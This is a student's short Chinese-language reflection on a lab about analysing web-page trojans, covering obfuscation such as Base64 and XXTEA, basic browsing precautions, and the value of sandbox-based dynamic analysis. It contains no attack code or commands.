我感觉此实践是第一到十一号实践中最难的,任务量相当于以往两个实验的任务量总和。在网页挂马分析那里,我看实验要求时看见既要分析可执行文件,还要分析js文件,也要分析网页文件,觉得非常复杂,但是参照其他同学的实验报告对文件逐一地进行分析时,我发现网页挂马分析其实没有那么复杂,毕竟我不需要对于JS文件逐行分析、也不需要对可执行文件分析每条反汇编出的代码。
网页挂马对于使用浏览器的用户来说是个很大的威胁。但是我问deepseek时,它说网页是不能自动运行可执行文件的。但是网页上可能有恶意的JS代码。对于防范网页挂马,去正规网站并检查数字证书是有效方式,要检查网站是否有合法的证书链。很多正规网站的用户量和访问量达到了标准,属于关键信息基础设施,国家是会重点保护的。当访问了某些不太正规的网站导致浏览器崩溃,此时可能就是遭遇网页木马攻击了,此时可以立即关闭浏览器、重启电脑,然后在重启后检查电脑是否会尝试和与外网上的主机建立莫名其妙的连接。
恶意的网站总会采取措施隐藏它的恶意。例如本实验中遇到的Base64编码、XXTEA加密等。随着技术不断发展,黑客的技术也会不断发展,他们会对恶意脚本采取更严密的加密措施,使得我们极难根据内容分析出恶意脚本的功能,但是主机却会遭受恶意脚本的袭击。此时对于恶意代码的动态分析就尤为重要,可以利用沙盒技术分析恶意脚本,让它们在一套与有用的系统资源相隔离的的系统资源(包含文件系统、注册表)中运行,然后我们观察其动态。


浙公网安备 33010602011771号